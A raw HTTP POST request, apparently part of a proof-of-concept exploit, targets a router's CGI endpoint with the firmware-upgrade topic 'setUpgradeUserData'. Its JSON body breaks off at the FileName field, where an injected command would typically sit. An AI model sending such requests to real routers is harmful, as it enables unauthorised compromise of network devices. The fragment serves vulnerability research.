HTTP POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:147.0) Gecko/20100101 Firefox/147.0 Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Origin: http://192.168.0.1 Referer: http://192.168.0.1/login.asp Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 124 { "topicurl": "setting/setUpgradeUserData", "ContentLength": "10485", "FileName": "a }